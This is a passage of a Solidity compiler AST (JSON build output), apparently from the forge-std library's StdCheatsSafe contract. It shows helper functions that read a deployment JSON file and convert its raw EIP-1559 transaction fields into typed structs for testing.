(uint256)"}},"id":4586,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14032:29:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"14015:46:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":4588,"nodeType":"ExpressionStatement","src":"14015:46:3"},{"expression":{"id":4596,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":4589,"name":"txDetail","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4557,"src":"14071:8:3","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559Detail_$3581_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559Detail memory"}},"id":4591,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"14080:6:3","memberName":"txType","nodeType":"MemberAccess","referencedDeclaration":3578,"src":"14071:15:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"expression":{"id":4593,"name":"rawDetail","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4549,"src":"14102:9:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawTx1559Detail_$3545_memory_ptr","typeString":"struct StdCheatsSafe.RawTx1559Detail memory"}},"id":4594,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"14112:6:3","memberName":"txType","nodeType":"MemberAccess","referencedDeclaration":3542,"src":"14102:16:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":4592,"name":"_bytesToUint","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5429,"src":"14089:12:3","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$_t_uint256_$","typeString":"function (bytes memory) pure returns (uint256)"}},"id":4595,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14089:30:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"14071:48:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":4597,"nodeType":"ExpressionStatement","src":"14071:48:3"},{"expression":{"id":4605,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":4598,"name":"txDetail","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4557,"src":"14129:8:3","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559Detail_$3581_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559Detail memory"}},"id":4600,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"14138:5:3","memberName":"value","nodeType":"MemberAccess","referencedDeclaration":3580,"src":"14129:14:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"expression":{"id":4602,"name":"rawDetail","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4549,"src":"14159:9:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawTx1559Detail_$3545_memory_ptr","typeString":"struct StdCheatsSafe.RawTx1559Detail memory"}},"id":4603,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"14169:5:3","memberName":"value","nodeType":"MemberAccess","referencedDeclaration":3544,"src":"14159:15:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":4601,"name":"_bytesToUint","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5429,"src":"14146:12:3","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$_t_uint256_$","typeString":"function (bytes memory) pure returns (uint256)"}},"id":4604,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14146:29:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"14129:46:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":4606,"nodeType":"ExpressionStatement","src":"14129:46:3"},{"expression":{"id":4614,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":4607,"name":"txDetail","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4557,"src":"14185:8:3","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559Detail_$3581_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559Detail memory"}},"id":4609,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"14194:3:3","memberName":"gas","nodeType":"MemberAccess","referencedDeclaration":3572,"src":"14185:12:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"expression":{"id":4611,"name":"rawDetail","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4549,"src":"14213:9:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawTx1559Detail_$3545_memory_ptr","typeString":"struct StdCheatsSafe.RawTx1559Detail memory"}},"id":4612,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"14223:3:3","memberName":"gas","nodeType":"MemberAccess","referencedDeclaration":3536,"src":"14213:13:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":4610,"name":"_bytesToUint","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5429,"src":"14200:12:3","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$_t_uint256_$","typeString":"function (bytes memory) pure returns (uint256)"}},"id":4613,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14200:27:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"14185:42:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":4615,"nodeType":"ExpressionStatement","src":"14185:42:3"},{"expression":{"id":4621,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":4616,"name":"txDetail","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4557,"src":"14237:8:3","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559Detail_$3581_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559Detail memory"}},"id":4618,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"14246:10:3","memberName":"accessList","nodeType":"MemberAccess","referencedDeclaration":3566,"src":"14237:19:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_AccessList_$3637_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.AccessList memory[] memory"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":4619,"name":"rawDetail","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4549,"src":"14259:9:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawTx1559Detail_$3545_memory_ptr","typeString":"struct StdCheatsSafe.RawTx1559Detail memory"}},"id":4620,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"14269:10:3","memberName":"accessList","nodeType":"MemberAccess","referencedDeclaration":3530,"src":"14259:20:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_AccessList_$3637_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.AccessList memory[] memory"}},"src":"14237:42:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_AccessList_$3637_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.AccessList memory[] memory"}},"id":4622,"nodeType":"ExpressionStatement","src":"14237:42:3"},{"expression":{"id":4623,"name":"txDetail","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4557,"src":"14296:8:3","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559Detail_$3581_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559Detail memory"}},"functionReturnParameters":4554,"id":4624,"nodeType":"Return","src":"14289:15:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"rawToConvertedEIP1559Detail","nameLocation":"13701:27:3","parameters":{"id":4550,"nodeType":"ParameterList","parameters":[{"constant":false,"id":4549,"mutability":"mutable","name":"rawDetail","nameLocation":"13752:9:3","nodeType":"VariableDeclaration","scope":4626,"src":"13729:32:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_struct$_RawTx1559Detail_$3545_memory_ptr","typeString":"struct StdCheatsSafe.RawTx1559Detail"},"typeName":{"id":4548,"nodeType":"UserDefinedTypeName","pathNode":{"id":4547,"name":"RawTx1559Detail","nameLocations":["13729:15:3"],"nodeType":"IdentifierPath","referencedDeclaration":3545,"src":"13729:15:3"},"referencedDeclaration":3545,"src":"13729:15:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawTx1559Detail_$3545_storage_ptr","typeString":"struct StdCheatsSafe.RawTx1559Detail"}},"visibility":"internal"}],"src":"13728:34:3"},"returnParameters":{"id":4554,"nodeType":"ParameterList","parameters":[{"constant":false,"id":4553,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":4626,"src":"13826:19:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559Detail_$3581_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559Detail"},"typeName":{"id":4552,"nodeType":"UserDefinedTypeName","pathNode":{"id":4551,"name":"Tx1559Detail","nameLocations":["13826:12:3"],"nodeType":"IdentifierPath","referencedDeclaration":3581,"src":"13826:12:3"},"referencedDeclaration":3581,"src":"13826:12:3","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559Detail_$3581_storage_ptr","typeString":"struct StdCheatsSafe.Tx1559Detail"}},"visibility":"internal"}],"src":"13825:21:3"},"scope":5537,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":4668,"nodeType":"FunctionDefinition","src":"14317:363:3","nodes":[],"body":{"id":4667,"nodeType":"Block","src":"14406:274:3","nodes":[],"statements":[{"assignments":[4636],"declarations":[{"constant":false,"id":4636,"mutability":"mutable","name":"deployData","nameLocation":"14430:10:3","nodeType":"VariableDeclaration","scope":4667,"src":"14416:24:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":4635,"name":"string","nodeType":"ElementaryTypeName","src":"14416:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"id":4641,"initialValue":{"arguments":[{"id":4639,"name":"path","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4628,"src":"14455:4:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":4637,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"14443:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":4638,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"14446:8:3","memberName":"readFile","nodeType":"MemberAccess","referencedDeclaration":12809,"src":"14443:11:3","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) view external returns (string memory)"}},"id":4640,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14443:17:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"nodeType":"VariableDeclarationStatement","src":"14416:44:3"},{"assignments":[4643],"declarations":[{"constant":false,"id":4643,"mutability":"mutable","name":"parsedDeployData","nameLocation":"14483:16:3","nodeType":"VariableDeclaration","scope":4667,"src":"14470:29:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":4642,"name":"bytes","nodeType":"ElementaryTypeName","src":"14470:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":4649,"initialValue":{"arguments":[{"id":4646,"name":"deployData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4636,"src":"14515:10:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"hexValue":"2e7472616e73616374696f6e73","id":4647,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"14527:15:3","typeDescriptions":{"typeIdentifier":"t_stringliteral_9b594723e6093f4c1c210e08bcd523373e89874e267b69a9d9a7cb17952e3049","typeString":"literal_string \".transactions\""},"value":".transactions"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_stringliteral_9b594723e6093f4c1c210e08bcd523373e89874e267b69a9d9a7cb17952e3049","typeString":"literal_string \".transactions\""}],"expression":{"id":4644,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"14502:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":4645,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"14505:9:3","memberName":"parseJson","nodeType":"MemberAccess","referencedDeclaration":13083,"src":"14502:12:3","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_string_memory_ptr_$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory,string memory) pure external returns (bytes memory)"}},"id":4648,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14502:41:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"nodeType":"VariableDeclarationStatement","src":"14470:73:3"},{"assignments":[4654],"declarations":[{"constant":false,"id":4654,"mutability":"mutable","name":"rawTxs","nameLocation":"14572:6:3","nodeType":"VariableDeclaration","scope":4667,"src":"14553:25:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawTx1559_$3526_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.RawTx1559[]"},"typeName":{"baseType":{"id":4652,"nodeType":"UserDefinedTypeName","pathNode":{"id":4651,"name":"RawTx1559","nameLocations":["14553:9:3"],"nodeType":"IdentifierPath","referencedDeclaration":3526,"src":"14553:9:3"},"referencedDeclaration":3526,"src":"14553:9:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawTx1559_$3526_storage_ptr","typeString":"struct StdCheatsSafe.RawTx1559"}},"id":4653,"nodeType":"ArrayTypeName","src":"14553:11:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawTx1559_$3526_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.RawTx1559[]"}},"visibility":"internal"}],"id":4662,"initialValue":{"arguments":[{"id":4657,"name":"parsedDeployData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4643,"src":"14592:16:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"components":[{"baseExpression":{"id":4658,"name":"RawTx1559","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3526,"src":"14611:9:3","typeDescriptions":{"typeIdentifier":"t_type$_t_struct$_RawTx1559_$3526_storage_ptr_$","typeString":"type(struct StdCheatsSafe.RawTx1559 storage pointer)"}},"id":4659,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"IndexAccess","src":"14611:11:3","typeDescriptions":{"typeIdentifier":"t_type$_t_array$_t_struct$_RawTx1559_$3526_memory_ptr_$dyn_memory_ptr_$","typeString":"type(struct StdCheatsSafe.RawTx1559 memory[] memory)"}}],"id":4660,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"TupleExpression","src":"14610:13:3","typeDescriptions":{"typeIdentifier":"t_type$_t_array$_t_struct$_RawTx1559_$3526_memory_ptr_$dyn_memory_ptr_$","typeString":"type(struct StdCheatsSafe.RawTx1559 memory[] memory)"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_type$_t_array$_t_struct$_RawTx1559_$3526_memory_ptr_$dyn_memory_ptr_$","typeString":"type(struct StdCheatsSafe.RawTx1559 memory[] memory)"}],"expression":{"id":4655,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"14581:3:3","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":4656,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"14585:6:3","memberName":"decode","nodeType":"MemberAccess","src":"14581:10:3","typeDescriptions":{"typeIdentifier":"t_function_abidecode_pure$__$returns$__$","typeString":"function () pure"}},"id":4661,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14581:43:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawTx1559_$3526_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.RawTx1559 memory[] memory"}},"nodeType":"VariableDeclarationStatement","src":"14553:71:3"},{"expression":{"arguments":[{"id":4664,"name":"rawTxs","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4654,"src":"14666:6:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawTx1559_$3526_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.RawTx1559 memory[] memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_array$_t_struct$_RawTx1559_$3526_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.RawTx1559 memory[] memory"}],"id":4663,"name":"rawToConvertedEIPTx1559s","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4486,"src":"14641:24:3","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_array$_t_struct$_RawTx1559_$3526_memory_ptr_$dyn_memory_ptr_$returns$_t_array$_t_struct$_Tx1559_$3562_memory_ptr_$dyn_memory_ptr_$","typeString":"function (struct StdCheatsSafe.RawTx1559 memory[] memory) pure returns (struct StdCheatsSafe.Tx1559 memory[] memory)"}},"id":4665,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14641:32:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Tx1559_$3562_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559 memory[] memory"}},"functionReturnParameters":4634,"id":4666,"nodeType":"Return","src":"14634:39:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"readTx1559s","nameLocation":"14326:11:3","parameters":{"id":4629,"nodeType":"ParameterList","parameters":[{"constant":false,"id":4628,"mutability":"mutable","name":"path","nameLocation":"14352:4:3","nodeType":"VariableDeclaration","scope":4668,"src":"14338:18:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":4627,"name":"string","nodeType":"ElementaryTypeName","src":"14338:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"14337:20:3"},"returnParameters":{"id":4634,"nodeType":"ParameterList","parameters":[{"constant":false,"id":4633,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":4668,"src":"14389:15:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Tx1559_$3562_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559[]"},"typeName":{"baseType":{"id":4631,"nodeType":"UserDefinedTypeName","pathNode":{"id":4630,"name":"Tx1559","nameLocations":["14389:6:3"],"nodeType":"IdentifierPath","referencedDeclaration":3562,"src":"14389:6:3"},"referencedDeclaration":3562,"src":"14389:6:3","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559_$3562_storage_ptr","typeString":"struct StdCheatsSafe.Tx1559"}},"id":4632,"nodeType":"ArrayTypeName","src":"14389:8:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Tx1559_$3562_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.Tx1559[]"}},"visibility":"internal"}],"src":"14388:17:3"},"scope":5537,"stateMutability":"view","virtual":true,"visibility":"internal"},{"id":4723,"nodeType":"FunctionDefinition","src":"14686:453:3","nodes":[],"body":{"id":4722,"nodeType":"Block","src":"14787:352:3","nodes":[],"statements":[{"assignments":[4679],"declarations":[{"constant":false,"id":4679,"mutability":"mutable","name":"deployData","nameLocation":"14811:10:3","nodeType":"VariableDeclaration","scope":4722,"src":"14797:24:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":4678,"name":"string","nodeType":"ElementaryTypeName","src":"14797:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"id":4684,"initialValue":{"arguments":[{"id":4682,"name":"path","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4670,"src":"14836:4:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":4680,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"14824:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":4681,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"14827:8:3","memberName":"readFile","nodeType":"MemberAccess","referencedDeclaration":12809,"src":"14824:11:3","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) view external returns (string memory)"}},"id":4683,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14824:17:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"nodeType":"VariableDeclarationStatement","src":"14797:44:3"},{"assignments":[4686],"declarations":[{"constant":false,"id":4686,"mutability":"mutable","name":"key","nameLocation":"14865:3:3","nodeType":"VariableDeclaration","scope":4722,"src":"14851:17:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":4685,"name":"string","nodeType":"ElementaryTypeName","src":"14851:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"id":4699,"initialValue":{"arguments":[{"arguments":[{"hexValue":"2e7472616e73616374696f6e735b","id":4691,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"14895:16:3","typeDescriptions":{"typeIdentifier":"t_stringliteral_7abc4cdd6094bba2d56cb8a26083c756a68ba4e3b40f345f8102e1fc2249cd5c","typeString":"literal_string \".transactions[\""},"value":".transactions["},{"arguments":[{"id":4694,"name":"index","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4672,"src":"14925:5:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":4692,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"14913:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":4693,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"14916:8:3","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13441,"src":"14913:11:3","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_uint256_$returns$_t_string_memory_ptr_$","typeString":"function (uint256) pure external returns (string memory)"}},"id":4695,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14913:18:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"hexValue":"5d","id":4696,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"14933:3:3","typeDescriptions":{"typeIdentifier":"t_stringliteral_b36bcf9cc1d9e7f60b1f757ebd8b4694b17fc592b16065d243c43b09fde00b29","typeString":"literal_string \"]\""},"value":"]"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_7abc4cdd6094bba2d56cb8a26083c756a68ba4e3b40f345f8102e1fc2249cd5c","typeString":"literal_string \".transactions[\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_stringliteral_b36bcf9cc1d9e7f60b1f757ebd8b4694b17fc592b16065d243c43b09fde00b29","typeString":"literal_string \"]\""}],"expression":{"id":4689,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"14878:3:3","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":4690,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"14882:12:3","memberName":"encodePacked","nodeType":"MemberAccess","src":"14878:16:3","typeDescriptions":{"typeIdentifier":"t_function_abiencodepacked_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":4697,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14878:59:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":4688,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"14871:6:3","typeDescriptions":{"typeIdentifier":"t_type$_t_string_storage_ptr_$","typeString":"type(string storage pointer)"},"typeName":{"id":4687,"name":"string","nodeType":"ElementaryTypeName","src":"14871:6:3","typeDescriptions":{}}},"id":4698,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14871:67:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"nodeType":"VariableDeclarationStatement","src":"14851:87:3"},{"assignments":[4701],"declarations":[{"constant":false,"id":4701,"mutability":"mutable","name":"parsedDeployData","nameLocation":"14961:16:3","nodeType":"VariableDeclaration","scope":4722,"src":"14948:29:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":4700,"name":"bytes","nodeType":"ElementaryTypeName","src":"14948:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":4707,"initialValue":{"arguments":[{"id":4704,"name":"deployData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4679,"src":"14993:10:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":4705,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4686,"src":"15005:3:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":4702,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"14980:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":4703,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"14983:9:3","memberName":"parseJson","nodeType":"MemberAccess","referencedDeclaration":13083,"src":"14980:12:3","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_string_memory_ptr_$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory,string memory) pure external returns (bytes 